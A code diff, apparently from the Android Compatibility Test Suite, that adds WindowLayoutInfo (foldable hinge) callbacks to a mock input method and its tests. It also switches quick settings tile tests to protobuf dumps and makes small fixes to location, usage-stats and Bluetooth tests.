--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.mockime;
 
+import android.graphics.Rect;
+import android.os.Parcel;
+import android.os.Parcelable;
 import android.os.SystemClock;
 import android.text.TextUtils;
 import android.util.Pair;
@@ -23,7 +26,13 @@
 import android.view.inputmethod.InputBinding;
 
 import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.window.extensions.layout.DisplayFeature;
+import androidx.window.extensions.layout.FoldingFeature;
+import androidx.window.extensions.layout.WindowLayoutInfo;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Optional;
 import java.util.concurrent.TimeoutException;
 import java.util.function.Predicate;
@@ -443,4 +452,84 @@
         }
         return stream.copy();
     }
+
+    /**
+     *  A copy of {@link WindowLayoutInfo} class just for the purpose of testing with MockIME
+     *  test setup.
+     *  This is because only in this setup we will pass {@link WindowLayoutInfo} through
+     *  different processes.
+     */
+    public static class WindowLayoutInfoParcelable implements Parcelable {
+        private List<DisplayFeature> mDisplayFeatures = new ArrayList<DisplayFeature>();
+
+        public WindowLayoutInfoParcelable(WindowLayoutInfo windowLayoutInfo) {
+            this.mDisplayFeatures = windowLayoutInfo.getDisplayFeatures();
+        }
+        public WindowLayoutInfoParcelable(Parcel in) {
+            while (in.dataAvail() > 0) {
+                Rect bounds;
+                int type = -1, state = -1;
+                bounds = in.readParcelable(Rect.class.getClassLoader(), Rect.class);
+                type = in.readInt();
+                state = in.readInt();
+                mDisplayFeatures.add(new FoldingFeature(bounds, type, state));
+            }
+        }
+
+        @Override
+        public boolean equals(@Nullable Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (!(o instanceof WindowLayoutInfoParcelable)) {
+                return false;
+            }
+
+            List<androidx.window.extensions.layout.DisplayFeature> listA =
+                    this.getDisplayFeatures();
+            List<DisplayFeature> listB = ((WindowLayoutInfoParcelable) o).getDisplayFeatures();
+            if (listA.size() != listB.size()) return false;
+            for (int i = 0; i < listA.size(); ++i) {
+                if (!listA.get(i).equals(listB.get(i))) {
+                    return false;
+                }
+            }
+
+            return true;
+        }
+
+        @Override
+        public void writeToParcel(Parcel dest, int flags) {
+            // The actual implementation is FoldingFeature, DisplayFeature is an abstract class.
+            mDisplayFeatures.forEach(feature -> {
+                        dest.writeParcelable(feature.getBounds(), flags);
+                        dest.writeInt(((FoldingFeature) feature).getType());
+                        dest.writeInt(((FoldingFeature) feature).getState());
+                    }
+            );
+        }
+
+        public List<DisplayFeature> getDisplayFeatures() {
+            return mDisplayFeatures;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        public static final Parcelable.Creator<WindowLayoutInfoParcelable> CREATOR =
+                new Parcelable.Creator<WindowLayoutInfoParcelable>() {
+
+                    @Override
+                    public WindowLayoutInfoParcelable createFromParcel(Parcel in) {
+                        return new WindowLayoutInfoParcelable(in);
+                    }
+
+                    @Override
+                    public WindowLayoutInfoParcelable[] newArray(int size) {
+                        return new WindowLayoutInfoParcelable[size];
+                    }
+                };
+    }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index cfc30ec..eea1727 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -25,6 +25,7 @@
 import androidx.annotation.IntDef;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.window.extensions.layout.WindowLayoutInfo;
 
 import java.lang.annotation.Retention;
 
@@ -60,6 +61,8 @@
             "InlineSuggestionViewContentDesc";
     private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
     private static final String VERIFY_CONTEXT_APIS_IN_ON_CREATE = "VerifyContextApisInOnCreate";
+    private static final String WINDOW_LAYOUT_INFO_CALLBACK_ENABLED =
+            "WindowLayoutInfoCallbackEnabled";
 
     /**
      * Simulate the manifest flag enableOnBackInvokedCallback being true for the IME.
@@ -187,6 +190,10 @@
         return mBundle.getBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, false);
     }
 
+    public boolean isWindowLayoutInfoCallbackEnabled() {
+        return mBundle.getBoolean(WINDOW_LAYOUT_INFO_CALLBACK_ENABLED, false);
+    }
+
     public boolean isOnBackCallbackEnabled() {
         return mBundle.getBoolean(ON_BACK_CALLBACK_ENABLED, false);
     }
@@ -374,6 +381,14 @@
         }
 
         /**
+         * Sets whether to enable {@link WindowLayoutInfo} callbacks for {@link MockIme}.
+         */
+        public Builder setWindowLayoutInfoCallbackEnabled(boolean enabled) {
+            mBundle.putBoolean(WINDOW_LAYOUT_INFO_CALLBACK_ENABLED, enabled);
+            return this;
+        }
+
+        /**
          * Sets whether the IME's
          * {@link android.content.pm.ApplicationInfo#isOnBackInvokedCallbackEnabled()}
          * should be set to {@code true}.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 528da58..faa169f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.mockime;
 
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
@@ -82,6 +83,9 @@
 import androidx.autofill.inline.UiVersions;
 import androidx.autofill.inline.UiVersions.StylesBuilder;
 import androidx.autofill.inline.v1.InlineSuggestionUi;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+import androidx.window.extensions.layout.WindowLayoutInfo;
 
 import java.util.ArrayList;
 import java.util.concurrent.ExecutorService;
@@ -117,6 +121,14 @@
         return eventActionName + ".command";
     }
 
+    @Nullable
+    private final WindowExtensions mWindowExtensions = getWindowExtensions();
+    @Nullable
+    private final WindowLayoutComponent mWindowLayoutComponent =
+            mWindowExtensions != null ? mWindowExtensions.getWindowLayoutComponent() : null;
+
+    private Consumer<WindowLayoutInfo> mWindowLayoutInfoConsumer;
+
     private final HandlerThread mHandlerThread = new HandlerThread("CommandReceiver");
 
     private final Handler mMainHandler = new Handler();
@@ -692,6 +704,11 @@
             } else {
                 registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
             }
+            // If Extension components are not loaded successfully, notify Test app.
+            if (mSettings.isWindowLayoutInfoCallbackEnabled()) {
+                getTracer().onVerify("windowLayoutComponentLoaded",
+                        () -> mWindowLayoutComponent != null);
+            }
             if (mSettings.isVerifyContextApisInOnCreate()) {
                 getTracer().onVerify("isUiContext", this::verifyIsUiContext);
                 getTracer().onVerify("getDisplay", this::verifyGetDisplay);
@@ -726,6 +743,12 @@
             // in IME event.
             mLastDispatchedConfiguration.setTo(getResources().getConfiguration());
         });
+
+        if (mSettings.isWindowLayoutInfoCallbackEnabled() && mWindowLayoutComponent != null) {
+            mWindowLayoutInfoConsumer = (windowLayoutInfo) -> getTracer().getWindowLayoutInfo(
+                    windowLayoutInfo, () -> {});
+            mWindowLayoutComponent.addWindowLayoutInfoListener(this, mWindowLayoutInfoConsumer);
+        }
     }
 
     @Override
@@ -1060,6 +1083,9 @@
         getTracer().onDestroy(() -> {
             mDestroying = true;
             super.onDestroy();
+            if (mSettings.isWindowLayoutInfoCallbackEnabled() && mWindowLayoutComponent != null) {
+                mWindowLayoutComponent.removeWindowLayoutInfoListener(mWindowLayoutInfoConsumer);
+            }
             unregisterReceiver(mCommandReceiver);
             mHandlerThread.quitSafely();
         });
@@ -1202,6 +1228,8 @@
 
     @Override
     public void onConfigurationChanged(Configuration configuration) {
+        // Broadcasting configuration change is implemented at WindowProviderService level.
+        super.onConfigurationChanged(configuration);
         getTracer().onConfigurationChanged(() -> {}, configuration);
         mLastDispatchedConfiguration.setTo(configuration);
     }
@@ -1517,5 +1545,14 @@
                     mIme.mLastDispatchedConfiguration));
             recordEventInternal("onConfigurationChanged", runnable, arguments);
         }
+
+        void getWindowLayoutInfo(@NonNull WindowLayoutInfo windowLayoutInfo,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            ImeEventStreamTestUtils.WindowLayoutInfoParcelable parcel =
+                    new ImeEventStreamTestUtils.WindowLayoutInfoParcelable(windowLayoutInfo);
+            arguments.putParcelable("WindowLayoutInfo", parcel);
+            recordEventInternal("getWindowLayoutInfo", runnable, arguments);
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 3654a15..6df5f85 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -1495,6 +1495,11 @@
     }
 
     @NonNull
+    public ImeCommand callGetWindowLayoutInfo() {
+        return callCommandInternal("getWindowLayoutInfo", new Bundle());
+    }
+
+    @NonNull
     public ImeCommand callSetStylusHandwritingInkView() {
         return callCommandInternal("setStylusHandwritingInkView", new Bundle());
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 8e18ec1..9ada205 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -18,6 +18,8 @@
 
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+import static android.server.wm.jetpack.utils.ExtensionUtil.EXTENSION_VERSION_2;
+import static android.server.wm.jetpack.utils.ExtensionUtil.isExtensionVersionAtLeast;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
@@ -29,6 +31,7 @@
 import static android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.EventFilterMode.CHECK_EXIT_EVENT_ONLY;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.WindowLayoutInfoParcelable;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -41,15 +44,19 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Intent;
 import android.graphics.Matrix;
+import android.graphics.Rect;
 import android.graphics.RectF;
 import android.inputmethodservice.InputMethodService;
 import android.os.Bundle;
 import android.os.SystemClock;
+import android.server.wm.DisplayMetricsSession;
 import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.view.KeyCharacterMap;
@@ -77,7 +84,10 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.window.extensions.layout.DisplayFeature;
+import androidx.window.extensions.layout.WindowLayoutInfo;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
@@ -86,6 +96,7 @@
 import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -780,6 +791,121 @@
         }
     }
 
+    /**
+     * Starts a {@link MockImeSession} and verifies MockIme receives {@link WindowLayoutInfo}
+     * updates. Trigger Configuration changes by modifying the DisplaySession where MockIME window
+     * is located, then verify Bounds from MockIME window and {@link DisplayFeature} from
+     * WindowLayoutInfo updates observe the same changes to the hinge location.
+     * Here we use {@link WindowLayoutInfoParcelable} to pass {@link WindowLayoutInfo} values
+     * between this test process and the MockIME process.
+     */
+    @Ignore("b/264026686")
+    @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener"})
+    public void testImeListensToWindowLayoutInfo() throws Exception {
+        assumeTrue(
+                "This test should only be run on devices with extension version that supports IME"
+                        + " as WindowLayoutInfo listener ",
+                isExtensionVersionAtLeast(EXTENSION_VERSION_2));
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setWindowLayoutInfoCallbackEnabled(true))) {
+
+            final ImeEventStream stream = imeSession.openEventStream();
+            TestActivity activity = createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
+            assertTrue(expectEvent(stream, verificationMatcher("windowLayoutComponentLoaded"),
+                    CHECK_EXIT_EVENT_ONLY, TIMEOUT).getReturnBooleanValue());
+
+            try (DisplayMetricsSession displaySession = new DisplayMetricsSession(
+                    activity.getDisplay().getDisplayId())) {
+
+                final double displayResizeRatio = 0.8;
+
+                // MockIME has registered addWindowLayoutInfo, it should be emitting the
+                // current location of hinge now.
+                WindowLayoutInfoParcelable windowLayoutInit = verifyReceivedWindowLayout(
+                        stream);
+                // Skip the test if the device doesn't support hinges.
+                assertNotNull(windowLayoutInit);
+                assertNotNull(windowLayoutInit.getDisplayFeatures());
+                assumeFalse(windowLayoutInit.getDisplayFeatures().isEmpty());
+
+                final Rect windowLayoutInitBounds = windowLayoutInit.getDisplayFeatures().get(0)
+                        .getBounds();
+
+                expectEvent(stream, event -> "onStartInput".equals(event.getEventName()),
+                        TIMEOUT);
+                expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+                        TIMEOUT);
+
+                // After IME is shown, get the bounds of IME.
+                final Rect imeBoundsInit = expectCommand(stream,
+                        imeSession.callGetCurrentWindowMetricsBounds(), TIMEOUT)
+                        .getReturnParcelableValue();
+                // Contain first part of the test in a try-block so that the display session
+                // could be restored for the remaining testsuite even if something fails.
+                try {
+                    // Shrink the entire display 20% smaller.
+                    displaySession.changeDisplayMetrics(displayResizeRatio /* sizeRatio */,
+                            1.0 /* densityRatio */);
+
+                    // onConfigurationChanged on WM side triggers a new calculation for
+                    // hinge location.
+                    WindowLayoutInfoParcelable windowLayoutSizeChange = verifyReceivedWindowLayout(
+                            stream);
+
+                    // Expect to receive same number of display features in WindowLayoutInfo.
+                    assertEquals(windowLayoutInit.getDisplayFeatures().size(),
+                            windowLayoutSizeChange.getDisplayFeatures().size());
+
+                    Rect windowLayoutSizeChangeBounds =
+                            windowLayoutSizeChange.getDisplayFeatures().get(
+                                    0).getBounds();
+                    Rect imeBoundsShrunk = expectCommand(stream,
+                            imeSession.callGetCurrentWindowMetricsBounds(), TIMEOUT)
+                            .getReturnParcelableValue();
+
+                    final Boolean widthsChangedInSameRatio =
+                            (windowLayoutInitBounds.width() * displayResizeRatio
+                                    == windowLayoutSizeChangeBounds.width() && (
+                                    imeBoundsInit.width() * displayResizeRatio
+                                            == imeBoundsShrunk.width()));
+                    final Boolean heightsChangedInSameRatio =
+                            (windowLayoutInitBounds.height() * displayResizeRatio
+                                    == windowLayoutSizeChangeBounds.height() && (
+                                    imeBoundsInit.height() * displayResizeRatio
+                                            == imeBoundsShrunk.height()));
+                    // Expect the hinge dimension to shrink in exactly one direction, the actual
+                    // dimension depends on device implementation. Observe hinge dimensions from
+                    // IME configuration bounds and from WindowLayoutInfo.
+                    assertTrue(widthsChangedInSameRatio || heightsChangedInSameRatio);
+                } finally {
+                    // Restore Display to original size.
+                    displaySession.restoreDisplayMetrics();
+                    // Advance stream to ignore unrelated side effect from WM configuration changes.
+                    // TODO(b/257990185): Add filtering in WM Extensions to remove this.
+                    stream.skipAll();
+
+                    WindowLayoutInfoParcelable windowLayoutRestored = verifyReceivedWindowLayout(
+                            stream);
+
+                    assertEquals(windowLayoutInitBounds,
+                            windowLayoutRestored.getDisplayFeatures().get(0).getBounds());
+
+                    final Rect imeBoundsRestored = expectCommand(stream,
+                            imeSession.callGetCurrentWindowMetricsBounds(), TIMEOUT)
+                            .getReturnParcelableValue();
+
+                    assertEquals(imeBoundsRestored, imeBoundsInit);
+                }
+            }
+        }
+    }
+
     /** Verify if {@link InputMethodService#isUiContext()} returns {@code true}. */
     @Test
     public void testIsUiContext() throws Exception {
@@ -1117,4 +1243,13 @@
             return this;
         }
     }
+
+    private static WindowLayoutInfoParcelable verifyReceivedWindowLayout(ImeEventStream stream)
+            throws TimeoutException {
+        WindowLayoutInfoParcelable received = expectEvent(stream,
+                event -> "getWindowLayoutInfo".equals(event.getEventName()),
+                TIMEOUT).getArguments().getParcelable("WindowLayoutInfo",
+                WindowLayoutInfoParcelable.class);
+        return received;
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
index 2baa2f1..c448a76 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -16,12 +16,7 @@
 
 package android.location.cts.fine;
 
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
-
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThrows;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.anyList;
 import static org.mockito.Mockito.mock;
@@ -29,8 +24,6 @@
 import static org.mockito.Mockito.verify;
 
 import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager.ResolveInfoFlags;
 import android.location.Geocoder;
 import android.location.Geocoder.GeocodeListener;
 import android.platform.test.annotations.AppModeFull;
@@ -64,17 +57,6 @@
         mGeocoder = new Geocoder(mContext, Locale.US);
     }
 
-    @Test
-    public void testIsPresent() {
-        if (mContext.getPackageManager().queryIntentServices(
-                new Intent("com.android.location.service.GeocodeProvider"), ResolveInfoFlags.of(
-                        MATCH_DIRECT_BOOT_AWARE | MATCH_DIRECT_BOOT_UNAWARE)).isEmpty()) {
-            assertFalse(Geocoder.isPresent());
-        } else {
-            assertTrue(Geocoder.isPresent());
-        }
-    }
-
     @ApiTest(apis = "android.location.Geocoder#getFromLocation")
     @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
diff --git a/tests/quicksettings/Android.bp b/tests/quicksettings/Android.bp
index 7246788..df7b7dc 100644
--- a/tests/quicksettings/Android.bp
+++ b/tests/quicksettings/Android.bp
@@ -30,6 +30,7 @@
         "androidx.test.ext.junit",
         "androidx.test.uiautomator_uiautomator",
         "compatibility-device-util-axt",
+        "SystemUI-proto",
      ],
 
     libs: [
diff --git a/tests/quicksettings/src/android/quicksettings/cts/BaseTileServiceTest.java b/tests/quicksettings/src/android/quicksettings/cts/BaseTileServiceTest.java
index 8ef5807..3030546 100644
--- a/tests/quicksettings/src/android/quicksettings/cts/BaseTileServiceTest.java
+++ b/tests/quicksettings/src/android/quicksettings/cts/BaseTileServiceTest.java
@@ -22,9 +22,11 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
 import android.service.quicksettings.TileService;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -35,11 +37,18 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.systemui.dump.nano.SystemUIProtoDump;
+import com.android.systemui.qs.nano.QsTileState;
+import com.android.systemui.util.nano.ComponentNameProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
 import java.io.IOException;
 
 @RunWith(AndroidJUnit4.class)
@@ -52,8 +61,8 @@
     protected abstract void waitForListening(boolean state) throws InterruptedException;
     protected Context mContext;
 
-    final static String DUMP_COMMAND =
-            "dumpsys activity service com.android.systemui/.SystemUIService QSTileHost";
+    static final String PROTO_DUMP_COMMAND =
+            "dumpsys statusbar QSTileHost --proto";
 
     // Time between checks for state we expect.
     protected static final long CHECK_DELAY = 250;
@@ -138,4 +147,46 @@
         }
         return null;
     }
+
+    protected final QsTileState findTileState() {
+        QsTileState[] tiles = getTilesStates();
+        for (int i = 0; i < tiles.length; i++) {
+            QsTileState tile = tiles[i];
+            if (tile.hasComponentName()) {
+                ComponentNameProto componentName = tile.getComponentName();
+                ComponentName c = ComponentName.createRelative(
+                        componentName.packageName, componentName.className);
+                if (c.flattenToString().equals(getComponentName())) {
+                    return tile;
+                }
+            }
+        }
+        return null;
+    }
+
+    private QsTileState[] getTilesStates() {
+        try {
+            return SystemUIProtoDump.parseFrom(getProtoDump()).tiles;
+        } catch (InvalidProtocolBufferNanoException e) {
+            throw new IllegalStateException("Couldn't parse proto dump", e);
+        }
+    }
+
+    private byte[] getProtoDump() {
+        try {
+            ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation()
+                    .getUiAutomation().executeShellCommand(PROTO_DUMP_COMMAND);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
 }
diff --git a/tests/quicksettings/src/android/quicksettings/cts/BooleanTileServiceTest.java b/tests/quicksettings/src/android/quicksettings/cts/BooleanTileServiceTest.java
index 0f6d56e..67a1f40 100644
--- a/tests/quicksettings/src/android/quicksettings/cts/BooleanTileServiceTest.java
+++ b/tests/quicksettings/src/android/quicksettings/cts/BooleanTileServiceTest.java
@@ -17,12 +17,15 @@
 package android.quicksettings.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.service.quicksettings.Tile;
 import android.service.quicksettings.TileService;
 
+import com.android.systemui.qs.nano.QsTileState;
+
 import org.junit.Test;
 
 public class BooleanTileServiceTest extends BaseTileServiceTest {
@@ -39,12 +42,9 @@
     public void testTileInDumpAndHasBooleanState() throws Exception {
         initializeAndListen();
 
-        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
-
-        final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
-        final String line = findLine(dumpLines, tileLabel);
-        assertNotNull(line);
-        assertTrue(line.trim().startsWith("BooleanState"));
+        final QsTileState tileState = findTileState();
+        assertNotNull(tileState);
+        assertTrue(tileState.hasBooleanState());
     }
 
     @Test
@@ -58,13 +58,10 @@
     public void testValueTracksState() throws Exception {
         initializeAndListen();
 
-        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
-
-        String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
-        String line = findLine(dumpLines, tileLabel);
+        QsTileState tileState = findTileState();
 
         // Tile starts inactive
-        assertTrue(line.contains("value=false"));
+        assertFalse(tileState.getBooleanState());
 
         ((ToggleableTestTileService) mTileService).toggleState();
 
@@ -76,10 +73,9 @@
 
         assertEquals(Tile.STATE_ACTIVE, mTileService.getQsTile().getState());
 
-        dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
-        line = findLine(dumpLines, tileLabel);
+        tileState = findTileState();
 
-        assertTrue(line.contains("value=true"));
+        assertTrue(tileState.getBooleanState());
     }
 
     @Override
diff --git a/tests/quicksettings/src/android/quicksettings/cts/TileServiceTest.java b/tests/quicksettings/src/android/quicksettings/cts/TileServiceTest.java
index 2ccab0c..64b6ce4 100644
--- a/tests/quicksettings/src/android/quicksettings/cts/TileServiceTest.java
+++ b/tests/quicksettings/src/android/quicksettings/cts/TileServiceTest.java
@@ -27,6 +27,8 @@
 import android.service.quicksettings.Tile;
 import android.service.quicksettings.TileService;
 
+import com.android.systemui.qs.nano.QsTileState;
+
 import org.junit.Test;
 
 public class TileServiceTest extends BaseTileServiceTest {
@@ -115,15 +117,32 @@
     }
 
     @Test
-    public void testTileInDumpAndHasState() throws Exception {
+    public void testTileInDumpAndHasNonBooleanState() throws Exception {
         initializeAndListen();
+        final QsTileState tileState = findTileState();
+        assertNotNull(tileState);
+        assertFalse(tileState.hasBooleanState());
+    }
 
-        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
+    @Test
+    public void testTileInDumpAndHasCorrectState() throws Exception {
+        initializeAndListen();
+        CharSequence label = "test_label";
+        CharSequence subtitle = "test_subtitle";
 
-        final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
-        final String line = findLine(dumpLines, tileLabel);
-        assertNotNull(line);
-        assertTrue(line.trim().startsWith("State")); // Not BooleanState
+        Tile tile = mTileService.getQsTile();
+        tile.setState(Tile.STATE_ACTIVE);
+        tile.setLabel(label);
+        tile.setSubtitle(subtitle);
+        tile.updateTile();
+
+        Thread.sleep(200);
+
+        final QsTileState tileState = findTileState();
+        assertNotNull(tileState);
+        assertEquals(Tile.STATE_ACTIVE,  tileState.state);
+        assertEquals(label,  tileState.getLabel());
+        assertEquals(subtitle,  tileState.getSecondaryLabel());
     }
 
     private void clickTile(String componentName) throws Exception {
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 5d4e7f5..431e0c9 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -33,6 +33,9 @@
         <option name="test-file-name" value="CtsUsageStatsTestAssistApp.apk" />
         <option name="test-file-name" value="CtsUsageStatsTestExactAlarmApp.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="settings put global device_config_sync_disabled 0" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.usage.cts" />
         <option name="runtime-hint" value="1m47s" />
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 63491b8..d2081d2 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -550,6 +550,10 @@
         Map<String,UsageStats> events = mUsageStatsManager.queryAndAggregateUsageStats(
                 startTime, endTime);
         UsageStats stats = events.get(mTargetPackage);
+        if (stats == null) {
+            fail("Querying UsageStats for " + mTargetPackage + " returned empty; list of packages "
+                 + "with events: " + Arrays.toString(events.keySet().toArray(new String[0])));
+        }
         int startingCount = stats.getAppLaunchCount();
         // Launch count is updated by UsageStatsService depending on last background package.
         // When running this test on single screen device (where tasks are launched in the same
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 9a3075b..caf9428 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -33,6 +33,7 @@
     <!-- Only run Cts Tests in MTS if the Bluetooth Mainline module is installed. -->
     <object type="module_controller"
             class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.bluetooth" />
+        <option name="mainline-module-package-name" value="com.android.btservices" />
+        <option name="mainline-module-package-name" value="com.google.android.btservices" />
     </object>
 </configuration>
diff --git a/tests/tests/bluetooth/bluetoothTestUtilLib/src/android/bluetooth/cts/BTAdapterUtils.java b/tests/tests/bluetooth/bluetoothTestUtilLib/src/android/bluetooth/cts/BTAdapterUtils.java
index 32d37fc..6807c39 100644
--- a/tests/tests/bluetooth/bluetoothTestUtilLib/src/android/bluetooth/cts/BTAdapterUtils.java
+++ b/tests/tests/bluetooth/bluetoothTestUtilLib/src/android/bluetooth/cts/BTAdapterUtils.java
@@ -280,7 +280,12 @@
         try {
             adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
             bluetoothAdapter.disable();
-            return waitForAdapterStateLocked(BluetoothAdapter.STATE_OFF, bluetoothAdapter);
+            if (waitForAdapterStateLocked(BluetoothAdapter.STATE_OFF, bluetoothAdapter)) {
+                //TODO b/234892968
+                Thread.sleep(2000);
+                return true;
+            }
+            return false;
         } catch (InterruptedException e) {
             Log.w(TAG, "disableAdapter(): interrupted", e);
         } finally {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/OobDataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/OobDataTest.java
index 40d5c3f..88b5fb3 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/OobDataTest.java
